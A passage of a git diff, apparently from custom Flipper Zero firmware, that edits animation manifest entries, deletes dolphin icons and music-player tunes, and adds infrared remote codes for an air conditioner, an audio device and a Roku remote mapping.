-Min level: 1 -Max level: 30 -Weight: 3 - -Name: MARCUS -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: MUMMY -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: REAPER -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: REAPER_ALT -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: SKULL -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: SKULL_SPIN -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: SPIRAL -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/NFC/NFC_dolphin_emulation_47x61.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/NFC/NFC_dolphin_emulation_47x61.bmx deleted file mode 100644 index 3b5661bfc..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/NFC/NFC_dolphin_emulation_47x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_bad_46x49.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_bad_46x49.bmx deleted file mode 100644 index e42148b61..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_bad_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx deleted file mode 100644 index a445a8f7b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_okay_46x49.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_okay_46x49.bmx deleted file mode 100644 index 9d93b8e9e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_okay_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinReceive_97x61.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinReceive_97x61.bmx deleted file mode 100644 index 51446057a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinReceive_97x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx deleted file mode 100644 index 51446057a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx deleted file mode 100644 index 14f6efc32..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx deleted file mode 100644 index 7c576cb7b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Scanning_123x52.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Scanning_123x52.bmx deleted file mode 100644 index 7c576cb7b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Scanning_123x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_restorer/.dolphin.state.bak b/assets/resources/dolphin_restorer/.dolphin.state.bak deleted file mode 100644 index dee1d3cbc..000000000 Binary files a/assets/resources/dolphin_restorer/.dolphin.state.bak and /dev/null differ diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 2b69e6f68..9880cf9eb 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Updated 21st Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: raw @@ -1680,3 +1680,9 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 454 413 453 412 454 412 454 412 454 413 453 25102 3490 1707 483 1249 484 383 483 383 482 383 509 1222 483 383 482 384 481 385 480 385 480 1250 482 386 479 1252 479 1254 477 414 451 1281 450 1282 449 1283 449 1283 449 1284 448 417 448 417 449 1284 448 417 449 417 449 418 448 417 449 417 449 417 449 417 449 417 449 417 449 417 449 1284 448 418 448 1284 448 418 448 418 448 418 448 1284 448 1284 448 418 448 418 448 417 448 418 448 1284 448 417 449 417 448 418 448 417 449 417 449 417 449 418 448 417 449 418 448 418 448 418 448 1284 448 1284 448 1284 449 417 449 418 448 1284 448 1284 448 1284 448 35505 3485 1712 449 1283 449 417 449 417 449 417 449 1284 448 417 449 417 449 417 449 417 449 1284 448 417 449 1284 448 1284 448 417 449 1284 448 1284 448 1284 448 1283 449 1284 448 417 449 417 449 1284 448 417 449 417 449 417 449 417 449 417 449 417 449 417 449 417 449 418 448 418 448 417 449 1284 448 417 449 417 449 417 449 417 449 1284 448 417 448 418 448 418 448 417 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1284 448 418 448 418 448 418 448 418 448 418 448 1284 448 418 448 418 448 1285 447 1285 447 418 448 35504 3486 1712 449 1283 449 417 449 417 448 417 449 1284 448 417 449 417 449 417 449 417 448 1284 448 417 449 1284 448 1284 448 417 449 1283 449 1284 448 1284 448 1284 448 1284 449 417 449 417 449 1284 448 417 449 417 449 418 448 417 449 417 449 417 449 418 448 417 449 417 449 418 448 418 448 418 448 417 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1284 448 1284 448 1284 448 418 448 418 448 418 448 1284 448 418 448 418 448 1284 448 1284 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1285 447 1285 447 418 448 1285 447 1285 447 1285 447 1285 447 1285 447 419 447 418 448 419 447 418 448 418 448 418 448 419 447 419 447 418 448 418 448 419 447 419 447 419 447 1285 447 1285 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 1286 446 1285 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 1286 446 420 446 420 446 420 446 420 446 419 447 1286 446 1286 446 419 447 420 446 420 446 420 446 420 446 420 446 420 446 1286 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 1286 446 420 446 420 446 420 446 1287 445 1287 445 1287 445 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1373 348 1310 376 463 1190 1318 400 1286 401 439 1244 442 1244 1288 400 465 1218 468 1218 468 1219 467 7970 1307 404 1281 405 435 1252 1281 406 1280 406 434 1252 434 1252 1281 406 434 1253 434 1252 434 1252 434 8000 1280 406 1281 406 434 1252 1281 406 1280 406 434 1252 434 1252 1281 406 434 1253 433 1253 433 1253 434 8000 1280 406 1280 406 434 1253 1280 406 1280 406 434 1253 433 1253 1280 406 434 1253 433 1253 433 1253 433 8001 1279 406 1280 406 434 1253 1280 407 1279 407 433 1253 434 1253 1280 407 433 1253 433 1253 433 1253 433 8001 1279 407 1279 407 433 1253 1280 407 1280 407 433 1253 433 1253 1280 407 433 1253 433 1253 434 1253 433 diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 4a5fe8f85..1d32591b6 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Updated 21st Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: parsed @@ -2098,3 +2098,27 @@ type: parsed protocol: NEC address: 00 00 00 00 command: 04 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E2 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E1 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E7 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: FD 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/assets/fans.ir b/assets/resources/infrared/assets/fans.ir index d242bfdd6..29a967db2 100644 --- a/assets/resources/infrared/assets/fans.ir +++ b/assets/resources/infrared/assets/fans.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 15th Feb, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: raw diff --git a/assets/resources/infrared/assets/projectors.ir b/assets/resources/infrared/assets/projectors.ir index 2be118e9c..fe281a6f2 100644 --- a/assets/resources/infrared/assets/projectors.ir +++ b/assets/resources/infrared/assets/projectors.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # # ON name: POWER diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index fdc62cb02..d67192b7b 100644 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: parsed diff --git a/assets/resources/infrared/remote/Roku.txt b/assets/resources/infrared/remote/Roku.txt new file mode 100644 index 000000000..0ffeb657d --- /dev/null +++ b/assets/resources/infrared/remote/Roku.txt @@ -0,0 +1,12 @@ +REMOTE: /ext/infrared/Roku.ir +UP: Up +DOWN: Down +LEFT: Left +RIGHT: Right +OK: Ok +BACK: Back +UPHOLD: V_up +DOWNHOLD: V_down +LEFTHOLD: Play +RIGHTHOLD: Home +OKHOLD: Power diff --git a/assets/resources/infrared/remote/example_remote.txt b/assets/resources/infrared/remote/example_remote.txt new file mode 100644 index 000000000..ffd192b8d --- /dev/null +++ b/assets/resources/infrared/remote/example_remote.txt @@ -0,0 +1,12 @@ +REMOTE: /ext/infrared/Philips_32PFL4208T.ir +UP: Up +DOWN: Down +LEFT: Left +RIGHT: Right +OK: +BACK: Back +UPHOLD: VOL+ +DOWNHOLD: VOL- +LEFTHOLD: Source +RIGHTHOLD: SmartTV +OKHOLD: POWER \ No newline at end of file diff --git a/assets/resources/music_player/Contra.txt b/assets/resources/music_player/Contra.txt deleted file mode 100644 index bbe6c1c29..000000000 --- a/assets/resources/music_player/Contra.txt +++ /dev/null @@ -1 +0,0 @@ -contra:d=4,o=5,b=285:a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,d#.6,e.6,f6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f.6,f#.6,g6 \ No newline at end of file diff --git a/assets/resources/music_player/Doom.txt b/assets/resources/music_player/Doom.txt deleted file mode 100644 index 155d81409..000000000 --- a/assets/resources/music_player/Doom.txt +++ /dev/null @@ -1 +0,0 @@ -Doom:d=32,o=4,b=56:f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,e5,a#,a#,f5,f#5,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,8e5 \ No newline at end of file diff --git a/assets/resources/music_player/Evangelion.txt b/assets/resources/music_player/Evangelion.txt deleted file mode 100644 index 3f5314bea..000000000 --- a/assets/resources/music_player/Evangelion.txt +++ /dev/null @@ -1 +0,0 @@ -Evangelion:d=4,o=5,b=90:c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,8g.,8p,g,a#,8c.6,8f.,8d#,a#,8g,8a#,8a#.,1c6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g \ No newline at end of file diff --git a/assets/resources/music_player/Evangelion_Exp.txt b/assets/resources/music_player/Evangelion_Exp.txt deleted file mode 100644 index 41632bed3..000000000 --- a/assets/resources/music_player/Evangelion_Exp.txt +++ /dev/null @@ -1 +0,0 @@ -Evangelion:d=4,o=5,b=80:1p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,8g.,8p,g,a#,8c.6,8f.,8d#,a#,8g,8a#,8a#.,1c6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,480f,6p,6g,6g#,2g,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,480f,6p,6g,6g#,2g,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6,8p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6 \ No newline at end of file diff --git a/assets/resources/music_player/FF7_Victory_Fanfare.fmf b/assets/resources/music_player/FF7_Victory_Fanfare.fmf deleted file mode 100644 index 70833061c..000000000 --- a/assets/resources/music_player/FF7_Victory_Fanfare.fmf +++ /dev/null @@ -1,8 +0,0 @@ -# Final Fantasy 7 Victory Fanfare -# -Filetype: Flipper Music Format -Version: 0 -BPM: 125 -Duration: 4 -Octave: 5 -Notes: 8p,32c6,32d6,32e6,32f#6,32g6,32a6,32b6,32c7,32p,32c7,32p,32c7,32p,c7,g#6,a#6,32c7,8p,16a#6,2c7 \ No newline at end of file diff --git a/assets/resources/music_player/FF9_To_Zanarkand.txt b/assets/resources/music_player/FF9_To_Zanarkand.txt deleted file mode 100644 index f2f0d3814..000000000 --- a/assets/resources/music_player/FF9_To_Zanarkand.txt +++ /dev/null @@ -1 +0,0 @@ -to_zanarkand:d=8,o=5,b=109:e,e4,g4,b4,e,f#,g,4p,d,d4,f#4,a4,d,e,f#,4p,4b4,4b4,4b4,4b4,4a4,d,f#4,4p,4e,4e,4d,g,c,e,e,4p,4e,b4,e,f#,g,f#,e,4d,e,d,b4,4p,4e,b4,e,f#,g,4f#,4g,4a,g,3a,b,4p,4e,b4,e,f#,g,3f#,3e,4d,e,4d,b4,g4,a4,4b4,4b4,4b4,4b4,4a4,d,4g4,4p,g4,f#4,d4,e4,b3,e4,f#4,g4,c,e,e4,g4,b4,e,f#,a,4p,e6,e6,d6,c6,4b,g6,g6,4p,4b,f6,f6,4b,f6,f6,4a,e6,e6,d#,4b4,f#,f#,e,d,c#,4p,a,a,4p,g#,e,c#,b4,4p,f#,a4,f#,a,b diff --git a/assets/resources/music_player/FF9_chocobo_theme.txt b/assets/resources/music_player/FF9_chocobo_theme.txt deleted file mode 100644 index 0973cdabf..000000000 --- a/assets/resources/music_player/FF9_chocobo_theme.txt +++ /dev/null @@ -1 +0,0 @@ -ChocoboTheme:d=4,o=6,b=160:32e5,32f5,32g5,32a5,32b5,32c,32d,32e,32f,32a,32b,16d7,8p,8b,8g,8e,8d7,8b,8g,8b,8p,8g,8p,b,8p,16a,16p,16g,16p,16g,16a,16g,16p,16f,16p,g,8p,16f,16p,16g,16p,16g,16b,16d7,16e7,16p,f7 \ No newline at end of file diff --git a/assets/resources/music_player/FF9_moogle_theme.txt b/assets/resources/music_player/FF9_moogle_theme.txt deleted file mode 100644 index 8e2c4182c..000000000 --- a/assets/resources/music_player/FF9_moogle_theme.txt +++ /dev/null @@ -1 +0,0 @@ -MoogleTheme:d=4,o=6,b=160:8f_7,8f7,8f_7,8c7,c_7,8a,8a_,f_,8c,8c_,32d_,32f,32d_,32f,32d_,32f,16d_,c_,8f,8f_,8g_,8a_,f_7,16g_,16a_,16b,f7,16f_,16g_,16a_,8d_7,8c_7,8b,8a_,g_5,8g_5,8f_5,e5,d5,1c5,8d_7,8c_7,8b,8a_,g_5,8g_5,8f_5,e5,g_5 \ No newline at end of file diff --git a/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt b/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt deleted file mode 100644 index c87df12bd..000000000 --- a/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt +++ /dev/null @@ -1 +0,0 @@ -ff6_victory:d=4,o=5,b=140:32d6,32p,32d6,32p,32d6,32p,d6,a#,c6,16d6,8p,16c6,2d6,a,g,a,16g,16p,c6,16c6,16p,b,16c6,16p,b,16b,16p,a,g,f#,16g,16p,1e,a,g,a,16g,16p,c6,16c6,16p,b,16c6,16p,b,16b,16p,a,g,a,16c6,16p,1d6 \ No newline at end of file diff --git a/assets/resources/music_player/GorillazClintEastwood.txt b/assets/resources/music_player/GorillazClintEastwood.txt deleted file mode 100644 index 194f8aaea..000000000 --- a/assets/resources/music_player/GorillazClintEastwood.txt +++ /dev/null @@ -1 +0,0 @@ -Gorillaz - Clint Eastwood : d=4,o=5,b=90:16d#6,8c#6,8d#6,a#,8p,16f#,16g#,8a#,8a#,16d#6,8c#6,8d#6,a#,8p,16f#6,8g#6,8a#,16a#,16a#,16p,8a#,8a#,8p,8g#,8g#,16g#,8g#,8g#,8f#,8d#,8c#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#., diff --git a/assets/resources/music_player/Hello_Flip.txt b/assets/resources/music_player/Hello_Flip.txt deleted file mode 100644 index dda59ca7f..000000000 --- a/assets/resources/music_player/Hello_Flip.txt +++ /dev/null @@ -1 +0,0 @@ -HelloFlip:d=4,o=5,b=120:2p,f6,c6,1g6,p,a6,c7,a6,f6,d6,c6,d6,8a6,8g6,2a6,2p,a6,g6,f6,e6,d6,a,c6,8e6,8f6,2e6,2p.,a6,d6,1f6,2p,f,c,1g,p,a,c6,d6,f,2p,c,2p,1a,p,a,g,f,d,c,g,e,1c,2p,a,d,2f,2p,8c4,8d#4,8g4,8c,8d#,p,1d6,c6,a#,a,a#,c.6,8d6,8a6,16a#6,16p,16c7,16p,16a6,16p,16a#6,8p.,16a#6,8p.,16a6,2p,1c6,a#,a,g,g#,2a,8g6,27c#6,17p.,8a#6,16g6,16p,8a6,8p,8c7,8p,32c7,16d7,32p,16c7,16p,15a6,17p,16g6,16p,1d6,c6,a#,a,a#,2c6,2f,2a,2d,a,g,f,g,a,c6,a,g,2d.,1p,2e.,2p.,f,c,1g,7p.,a,c6,a,f,d,c,d,8a,8g,2a,2p,a,g,f,e,d,a4,c,8e,8f,e,1p,a,d,1f \ No newline at end of file diff --git a/assets/resources/music_player/JamesBondTheme.txt b/assets/resources/music_player/JamesBondTheme.txt deleted file mode 100644 index ed51a3223..000000000 --- a/assets/resources/music_player/JamesBondTheme.txt +++ /dev/null @@ -1 +0,0 @@ -James Bond Theme : d=4,o=5,b=140:8e,16f#,16f#,8f#,f#,8e,8e,8e,8e,16g,16g,8g,g,8f#,8f#,8f#,8e,16f#,16f#,8f#,f#,8e,8e,8e,8e,16g,16g,8g,g,8f#,8f,8e,8d#6,2d.6,8b,8a,1b, diff --git a/assets/resources/music_player/LegendofZelda_Title.txt b/assets/resources/music_player/LegendofZelda_Title.txt deleted file mode 100644 index 9b19858ba..000000000 --- a/assets/resources/music_player/LegendofZelda_Title.txt +++ /dev/null @@ -1 +0,0 @@ -Zelda1:d=4,o=5,b=125:a#,f.,8a#,16a#,16c6,16d6,16d#6,2f6,8p,8f6,16f.6,16f#6,16g#.6,2a#.6,16a#.6,16g#6,16f#.6,8g#.6,16f#.6,2f6,f6,8d#6,16d#6,16f6,2f#6,8f6,8d#6,8c#6,16c#6,16d#6,2f6,8d#6,8c#6,8c6,16c6,16d6,2e6,g6,8f6,16f,16f,8f,16f,16f,8f,16f,16f,8f,8f,a#,f.,8a#,16a#,16c6,16d6,16d#6,2f6,8p,8f6,16f.6,16f#6,16g#.6,2a#.6,c#7,c7,2a6,f6,2f#.6,a#6,a6,2f6,f6,2f#.6,a#6,a6,2f6,d6,2d#.6,f#6,f6,2c#6,a#,c6,16d6,2e6,g6,8f6,16f,16f,8f,16f,16f,8f,16f,16f,8f,8f \ No newline at end of file diff --git a/assets/resources/music_player/Littleroot_Town_Pokemon.txt b/assets/resources/music_player/Littleroot_Town_Pokemon.txt deleted file mode 100644 index 414c8b094..000000000 --- a/assets/resources/music_player/Littleroot_Town_Pokemon.txt +++ /dev/null @@ -1 +0,0 @@ -LittlerootTown:d=4,o=5,b=100:8c5,8f5,8g5,4a5,8p,8g5,8a5,8g5,8a5,8a#5,8p,4c6,8d6,8a5,8g5,8a5,8c#6,4d6,4e6,4d6,8a5,8g5,8f5,8e5,8f5,8a5,4d6,8d5,8e5,2f5,8c6,8a#5,8a#5,8a5,2f5,8d6,8a5,8a5,8g5,2f5,8p,8f5,8d5,8f5,8e5,4e5,8f5,8g5 \ No newline at end of file diff --git a/assets/resources/music_player/Marble_Machine.fmf b/assets/resources/music_player/Marble_Machine.fmf deleted file mode 100644 index 7403c9a0f..000000000 --- a/assets/resources/music_player/Marble_Machine.fmf +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper Music Format -Version: 0 -BPM: 130 -Duration: 8 -Octave: 5 -Notes: E6, P, E, B, 4P, E, A, G, A, E, B, P, G, A, D6, 4P, D, B, 4P, D, A, G, A, D, F#, P, G, A, D6, 4P, F#, B, 4P, F#, D6, C6, B, F#, A, P, G, F#, E, P, C, E, B, B4, C, D, D6, C6, B, F#, A, P, G, A, E6, 4P, E, B, 4P, E, A, G, A, E, B, P, G, A, D6, 4P, D, B, 4P, D, A, G, A, D, F#, P, G, A, D6, 4P, F#, B, 4P, F#, D6, C6, B, F#, A, P, G, F#, E, P, C, E, B, B4, C, D, D6, C6, B, F#, A, P, G, A, E6 diff --git a/assets/resources/music_player/MortalKombat.txt b/assets/resources/music_player/MortalKombat.txt deleted file mode 100644 index e7e67eba4..000000000 --- a/assets/resources/music_player/MortalKombat.txt +++ /dev/null @@ -1 +0,0 @@ -mkombat:d=4,o=5,b=70:16a#,16a#,16c#6,16a#,16d#6,16a#,16f6,16d#6,16c#6,16c#6,16f6,16c#6,16g#6,16c#6,16f6,16c#6,16g#,16g#,16c6,16g#,16c#6,16g#,16d#6,16c#6,16f#,16f#,16a#,16f#,16c#6,16f#,16c#6,16c6 \ No newline at end of file diff --git a/assets/resources/music_player/Pokemon_Center.txt b/assets/resources/music_player/Pokemon_Center.txt deleted file mode 100644 index 5a0842e9b..000000000 --- a/assets/resources/music_player/Pokemon_Center.txt +++ /dev/null @@ -1 +0,0 @@ -PokemonCenter:d=4,o=6,b=125:8c,8g5,8c,g,f,e,8d,2b5,8b5,8g5,8b5,e,d,b5,8c,2e,8c,8g5,8c,g,f,e,8d,2b5,8b5,8g5,8b5,e,d,b5,8c,e,2e,2g,8f,8g,8f,8e,4d,2b5,2d,8e,8f,8e,8d,8c \ No newline at end of file diff --git a/assets/resources/music_player/Rickroll_Chorus.fmf b/assets/resources/music_player/Rickroll_Chorus.fmf deleted file mode 100644 index 143a271b8..000000000 --- a/assets/resources/music_player/Rickroll_Chorus.fmf +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper Music Format -Version: 0 -BPM: 120 -Duration: 16 -Octave: 5 -Notes: C,D,F,D, 8A., 8A., 4G., C,D,F,D, 8G., 8G., 8F., E,8D, C,D,F,D, 4F, 8G, 8E., D, 4C, 8C, 4G, 2F, C,D,F,D, 8A., 8A., 4G., C,D,F,D, 4C6, 8E, 8F., E, 8D, C,D,F,D, 4F, 8G, 8E., D, 4C, 8C, 4G, 2F, 4P diff --git a/assets/resources/music_player/Spider-Man_Theme.txt b/assets/resources/music_player/Spider-Man_Theme.txt deleted file mode 100644 index 851c97715..000000000 --- a/assets/resources/music_player/Spider-Man_Theme.txt +++ /dev/null @@ -1 +0,0 @@ -spiderman_theme:d=4,o=6,b=225:d_5,8f_5,2a_5,a_5,8f_5,2d_5,d_5,8f_5,a_5,a_5,a_5,8f_5,2d_5,d_5,8g_5,2b5,b5,8g_5,2d_5,d_5,8f_5,a_5,a_5,a_5,8f_5,d_5,8a_5,2g_5,2p,8p,8g_5,8g_5,8g_5,8g_5,g_5,8f_5,2d_5. diff --git a/assets/resources/music_player/Star_Wars_Imp_March.txt b/assets/resources/music_player/Star_Wars_Imp_March.txt deleted file mode 100644 index c13908244..000000000 --- a/assets/resources/music_player/Star_Wars_Imp_March.txt +++ /dev/null @@ -1 +0,0 @@ -Imperial:d=4,o=5,b=80:8d.,8d.,8d.,8a#4,16f,8d.,8a#4,16f,d.,32p,8a.,8a.,8a.,8a#,16f,8c#.,8a#4,16f,d.,32p,8d.6,8d,16d,8d6,32p,8c#6,16c6,16b,16a#,8b,32p,16d#,8g#,32p,8g,16f#,16f,16e,8f,32p,16a#4,8c#,32p,8a#4,16c#,8f.,8d,16f,a.,32p,8d.6,8d,16d,8d6,32p,8c#6,16c6,16b,16a#,8b,32p,16d#,8g# diff --git a/assets/resources/music_player/SuperMarioBrothers_Death.txt 